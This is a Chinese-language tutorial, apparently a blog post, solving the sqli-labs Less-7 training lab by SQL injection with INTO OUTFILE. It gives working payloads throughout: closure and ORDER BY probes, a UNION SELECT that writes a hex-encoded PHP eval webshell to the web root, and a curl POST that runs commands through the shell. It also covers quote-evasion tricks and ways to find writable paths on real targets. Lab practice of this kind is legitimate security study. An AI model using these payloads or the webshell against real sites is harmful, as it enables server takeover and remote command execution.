sql-labs Less-7 文件写入注入实战:从原理到写入Webshell
2026/9/11 21:08:37 网站建设 项目流程

1. 靶场环境搭建:把 sql-labs 跑起来

sql-labs 是一套开源的 SQL 注入专项练习靶场,作者是印度安全研究人员,专门用来练习各种注入场景。独立安装完这套环境,你会拥有整整 76 个难度递增的注入关卡,从最简单的数字型注入一直打到堆叠注入、时间盲注,覆盖了日常工作里八成以上的注入场景。而 less-7 是其中比较特殊的一关,它的核心考点是“利用文件读写功能拿服务器权限”,这关的思路跟前面关卡明显不同,值得单独拿出来讲透。

先说环境基线。sql-labs 官方推荐在 PHP 5.6 + Apache + MySQL 5.x 的环境下跑,但我实测过 PHP 7.4 甚至 PHP 8.0 也都能跑起来,只是少部分关卡会有兼容性小毛病。最省事的方案是直接用集成环境,Windows 下推荐 phpstudy,macOS 下用 MAMP 或者 Docker,都能在十分钟内把整套靶场拉起来。

我用的是 Docker 方案,直接拉取现成镜像,省去手动配 PHP 和 MySQL 的折腾:

docker pull docker.io/audihbk/fausg:sqli-labs docker run -dt --name sqli-labs -p 8088:80 audihbk/fausg:sqli-labs

这个镜像自动配好了 Apache + PHP 5.6 + MySQL 5.5,打开 http://localhost:8088 就能看到 sql-labs 的入口页面。如果你没有 Docker,也可以手动把源码放到 Web 根目录,然后导入sql-labssql-connectionsdb-creds.inc里配置的数据库文件。数据库默认账户是root,默认密码为空,账户密码在sql-connectionsdb-creds.inc文件里,需要改就直接改这个文件。

靶场跑稳之后,我习惯先用一句话验证环境是否健康:随意打开 less-1,在 URL 后面加一个单引号,如果页面报错并显示出 SQL 语句片段,说明环境没问题。这一步 30 秒就能完成,可以省掉后面排查环境故障的大量时间。

2. 先弄清 less-7 在考什么:文件写入型注入的原理

2.1 less-7 与其他关卡的差别

前六关虽然闭合方式各不相同,但最终目标都是通过联合查询或者报错注入把数据库里的数据“读”出来。less-7 不一样,从提示页就能看出来,这关给了一句USE OUTFILE,意思很明确:此关考核的是把数据“写”到服务器文件里。

很多新手到这关会卡住,觉得无从下手——报错注入不回显,联合查询也没结果。其实思路要掉个头:既然读不出来,那就写进去。MySQL 的INTO OUTFILE语法可以把查询结果直接导出成一个文本文件,如果我们能控制导出的内容,就能在服务器上写入一个包含 PHP 代码的 webshell 文件,从而获得服务器权限。

这就是为什么 less-7 在 sql-labs 系列里被单独拎出来讲:它第一次把注入从“读数据”升级到了“写文件、拿权限”,思路上的突破比技术本身更值钱。

2.2 MySQL 文件写入权限必须满足的条件

在动手之前,先把INTO OUTFILE的门槛搞清楚,否则后面全是白费功夫:

  • 当前数据库用户必须有 FILE 权限:MySQL 的FILE权限决定了用户能不能执行SELECT ... INTO OUTFILE这类文件操作。sql-labs 默认连接数据库用的是 root 用户,完整权限,所以这个条件是满足的。
  • secure_file_priv参数不能限制写入路径:MySQL 5.6 及以后版本引进了secure_file_priv参数,它限制了文件读写的目录。值为NULL时表示完全禁止文件读写,值为空字符串时表示不做限制,指定路径时则只能在指定路径下读写。
  • Web 进程必须对所写目录有写权限:落地文件的操作是 MySQL 进程发起的,但文件最终要能被 Web 服务解析,所以目录的权限要同时兼容 MySQL 写入和 Apache/Nginx 读取。

这三个条件缺一个都不行。sql-labs 默认环境前两个条件都满足,我们在实战里则需要通过 SQL 语句确认权限,再选择可写目录。

2.3 常见环境里 secure_file_priv 的真实表现

MySQL 5.5 及更早版本里基本不存在secure_file_priv的困扰,默认就能文件读写。MySQL 5.6 到 5.7 的默认值是空字符串,也不限制。MySQL 8.0 开始默认值为NULL,文件读写默认全禁,需要在配置文件里手动放开。

在 less-7 的 Docker 镜像里用的是 MySQL 5.5,所以不会碰到这个限制。但如果你是自己在生产环境复现类似测试,一定要先用 SQL 确认这个参数,确认方式如下:

SHOW VARIABLES LIKE 'secure_file_priv';

显示为空字符串,表示任意路径可写;显示为具体路径,则只能在那个目录下写文件;显示为 NULL,则需要修改 MySQL 配置文件并重启服务。判断完这一步,再决定后面往哪里写 shell。

3. 从探测到写入:less-7 的手工注入完整思路

3.1 信息收集:锁定 Web 根目录

距离真正注入之前,先花一分钟定位网站的绝对路径。这一步非常重要,INTO OUTFILE写入的必须是服务器上的绝对路径,路径错了直接失败。sql-labs 由于是开源的,源码里就带着路径线索,比如用浏览器访问/sql-labs/images/或者看页面底部源码区,通常能直接看到物理路径。

如果是真实环境的测试,定位 Web 根目录的常见方法还有几条:看报错信息里泄露的物理路径、用phpinfo()页面、看网站响应头里的X-Powered-By配套信息、或者利用<link><script>标签里 CSS/JS 文件的 URL 反推目录结构。

在 less-7 场景下,源码默认放在 Web 根目录下,因此靶场环境的绝对路径是/var/www/html/或者/var/www/sql-labs/这类形式。后面写 webshell 的时候,这个路径就是最终INTO OUTFILE的目标路径。

3.2 判断注入类型和闭合方式

less-7 的源码里查询语句是这样写的:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

注意看,这里的参数$id被一对单引号和一对圆括号包住。也就是说,我们的输入最终会拼进('输入内容')这个结构里。要打破这个结构,需要把左括号和单引号都闭合掉,对应的闭合字符是'))

我们来验证一下。先提交正常参数?id=1,页面显示You are in... Use outfile,说明存在查询。接着提交?id=1',页面没有报错信息,因为代码里对错误做了静默处理,这跟 less-6 的报错回显不同。再提交?id=1')),如果页面仍然能正常返回,或者通过条件判断出现不同响应,就说明'))确实是闭合方式。

为了确认闭合方式,可以用一个经典技巧:构造恒真和恒假的查询条件,观察页面是否出现差异。

?id=1')) AND 1=1--+ ?id=1')) AND 1=2--+

第一条正常显示,第二条无内容返回,说明我们的闭合符用对了,注入点成立。如果你看到两种响应没有任何差异,别急着下结论,先检查--+在 URL 里是否被正确传递,+号在部分环境里会被解码成空格,这是常见坑。

3.3 手工 UNION 探测字段数:为什么 less-7 不适合联合注入

既然闭合方式已经理清,很多人会顺手走联合注入的老路,先ORDER BY数一下字段数:

?id=1')) ORDER BY 3--+ ?id=1')) ORDER BY 4--+

ORDER BY 4出现异常时,说明字段总数是 3。但这关的问题不是字段数,而是页面本身不展示查询结果。代码里只是执行了 SQL,但没有把查询结果显示到前端,所以联合注入根本看不到回显。这也是 less-7 的核心教学点:不是所有注入都要靠前端的“眼睛”获取数据。

此时INTO OUTFILE就派上用场了。联合查询的回显虽然不显示在页面上,但可以写到文件里,所以这关的最终解法是联合查询加上INTO OUTFILE

3.4 构造写文件的注入载荷

确认闭合方式后,我习惯先用一个无伤大雅的写文件测试来验证路径和权限。例如尝试把hello sqli写到网站根目录下的test.txt

?id=1')) UNION SELECT 1,2,3 INTO OUTFILE '/var/www/html/test.txt'--+

这里的1,2,3对应联合查询的 3 列,内容无所谓,写入文件的每一行就是查询结果。执行后再访问http://localhost:8088/test.txt,如果能看到1 2 3或者类似内容,说明写文件这条路是通的。

接下来直接写一句话 webshell。为了方便菜刀或冰蝎连接,我把一句话木马写入一个 PHP 文件里。这里的核心技巧是:用0x十六进制编码避免字符串里的引号打架。因为这句话里本身含有单引号,直接拼进 SQL 语句会造成语法冲突,十六进制编码是更稳妥的处理方式。

<?php @eval($_POST['cmd']);?>为例,先把它转成十六进制:

3c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e

然后用下面的载荷写入:

?id=1')) UNION SELECT 1,2,0x3c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e INTO OUTFILE '/var/www/html/shell.php'--+

写完之后,直接访问http://localhost:8088/shell.php,页面如果是空白的,先别慌,这正常。用菜刀或者直接用 POST 请求提交一句话数据验证:

curl -X POST http://localhost:8088/shell.php -d "cmd=phpinfo();"

返回了 phpinfo 的页面内容,说明 webshell 已经成功落地并执行,整条链路打通了。

4. 核心实操细节:写文件时最容易翻车的五个位置

4.1 引号与特殊字符的规避

写文件载荷里最烦人的是引号冲突。less-7 的注入点本身是在单引号内,如果我们要写入的内容里再出现单引号,SQL 语句就很容易被截断或者报错。上面用十六进制编码解决的就是这个问题,写入内容先转十六进制,数据库解码后再落地为原文,全程不碰引号。

如果你不想每次都手动转,可以用 MySQL 自带的CHAR()函数拼字符串,CHAR(60,63,112,104,112)能拼出<?php,原理类似但更灵活。还有一种方案是用0x...直接拼,我个人的习惯是十六进制优先,它简单直观,也方便批量生成不同内容。

4.2 必须用绝对路径,别写相对路径

INTO OUTFILE不支持相对路径,这是 MySQL 的硬性规则。写文件时必须给出服务器的绝对路径,比如/var/www/html/shell.php,不能写./shell.php或者shell.php。写完路径后,我习惯顺手在路径后面加一个不存在的文件名来测试目录存在性,比如先写test.txt,能生成就说明路径可写、目录存在,再正式写 shell 文件。

4.3 注意写入内容与查询结果的关系

很多新手有个误解:INTO OUTFILE写入的是查询结果,不是任意字符串。所以如果你构造的是UNION SELECT 1,2,3 INTO OUTFILE ...,文件内容就是三行,分别是 1、2、3。想写入 PHP 代码,必须把 PHP 代码作为 SELECT 的返回值。

更隐蔽的坑是:如果查询本来会返回多行,文件里会写入多行内容,PHP 代码如果被拆成多行,部分场景下脚本仍能运行,但存在被截断的风险。我的经验是始终让 UNION 前面的查询返回空结果,也就是用id=-1这类不存在的数据去触发查询,保证写入文件的内容完全由我们自己控制。

4.4 Windows 与 Linux 路径写法的差异

sql-labs 的实战环境里,win 和 Linux 的路径写法完全不同。Windows 下典型的路径是C:/phpstudy_pro/WWW/shell.php,注意斜杠方向。很多人习惯写成反斜杠C:\phpstudy_pro\WWW\shell.php,这在 SQL 字符串里会被解析成转义字符,导致路径错误。

我建议统一用正斜杠/来写 Windows 路径,MySQL 对正斜杠的解析是没问题的。Linux 下则没有这个问题,直接/var/www/html/shell.php就好。

4.5 写入权限不足时的应急思路

如果测试发现网站根目录写不进去(比如目录权限是www-data用户只读),不要急着放弃。一个常见思路是尝试写入/tmp/目录验证 MySQL 的写权限是否正常,排除是路径问题还是权限问题。另一个思路是翻其他的可写目录,比如上传目录、缓存目录,这些目录通常对 Web 进程可写。

真正到了真实环境,open_basedir也会限制 PHP 能访问的文件范围。如果目标站点开了open_basedir且没有包含我们写入的目录,就算 shell 落地了也可能无法被解析执行。这种情况下需要先确认 PHP 配置,再决定是否换个目录。

5. 常见报错与排查实录

5.1 写文件后访问返回 0 字节或 404

这个情况十有八九是路径不对。先确认文件有没有生成:如果路径写错了,MySQL 会直接报错;如果路径正确但文件是空的,说明查询结果没数据,检查 UNION 前面的id值是不是存在的记录,如果存在就改成-1或者一个表里不存在的值。如果访问返回 404,说明文件根本没有落在 Web 目录下,检查是否把路径写成了数据库所在机器的路径,而不是 Web 服务器的路径。

5.2 页面显示The used SELECT statements have a different number of columns

这个报错是联合查询的字段数不一致。less-7 的原始查询是 3 列,所以 UNION 后面的 SELECT 也必须写 3 列。如果你图省事写了SELECT 1,2,就会触发这个错误。换成SELECT 1,2,3即可。

5.3 提示Access denied for user ... to database 'mysql'

这个报错一般不是你当前数据库没权限,而是INTO OUTFILE被禁用的典型表现。重点回查第 2 节里secure_file_priv的三个条件,多半是secure_file_priv限制了路径。临时解法是在 MySQL 配置里加一行:

[mysqld] secure_file_priv=

然后重启 MySQL 服务。注意,这个操作仅限你本地靶场练习环境,生产环境我反对为了测试去改动全局配置。

5.4 尝试时间盲注或报错注入失败,怀疑自己判断错了闭合方式

less-7 只要最开始确认好闭合方式,后面基本不会走偏。如果你在找闭合方式时反复碰壁,我建议你直接看源码,less-7 因为是从 sqli-labs 源码就能确认的,所以不存在不可能的情况。源码文件在sql-labs/Less-7/index.php,打开能看到查询语句的真实写法,闭合符一眼就能确定。

为了不过度依赖源码,多试几种组合是值得的:'''')'))"")")),用AND 1=1AND 1=2的响应差异来辅助判断。大多数难关其实不是注入难点,而是闭合符没判定准导致的。

5.5 写 PHP shell 后连接不上菜刀/冰蝎

连接不上,常见的原因有五个:

  • 文件没有成功写入,先访问文件看是否 404;
  • PHP 代码被某种方式转义或过滤了,访问文件查看源码内容;
  • 路径没对上,确认写的是 Web 根目录下的绝对路径;
  • 目标 PHP 版本不支持eval或短标签,换一句话格式;
  • 一句话密码写错,POST 参数cmd和代码里的数组 key 不一致。

我见过不少人在 Windows 的 phpstudy 里练习,路径写成了/var/www/html/,但本地根本没有这个目录,导致文件全被写到了 MySQL 的数据目录里,访问自然全部 404。先确认系统类型和 Web 根目录,再写路径,问题就解决了一半。

6. 收个尾:从 less-7 往后怎么继续深入

less-7 练完后,我建议你带着文件写入的思路回头重新刷一遍前面的关卡。你会发现一个很有意思的现象:很多“无回显”的场景其实都可以用INTO OUTFILE来旁路解决,前提是数据库权限够、路径可写。这个思路在真实环境里的价值是:它不仅是课程题目,更是在提醒你,注入的影响面远不止“查数据”这么简单。

往后继续学习的话,less-8 是时间盲注,less-9 是单引号时间盲注,less-10 是双引号时间盲注,这三关又是另一套思路。当你把 less-1 到 less-10 全部过完,再去刷 less-11 到 less-22 的 POST 型注入,注入体系的框架就算真正立住了。

最后分享一个我这几年测试注入最深的体会:不管题型怎么变,先确定闭合方式、再确定回显方式、最后确认数据库权限这个顺序千万不要乱。less-7 这关如果硬要用联合查询去怼回显,你会被卡很久;一旦换到“读不出来就写进去”的思路,十秒钟就能破局。这种思维上的转变,比记住某一条 payload 有用得多。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询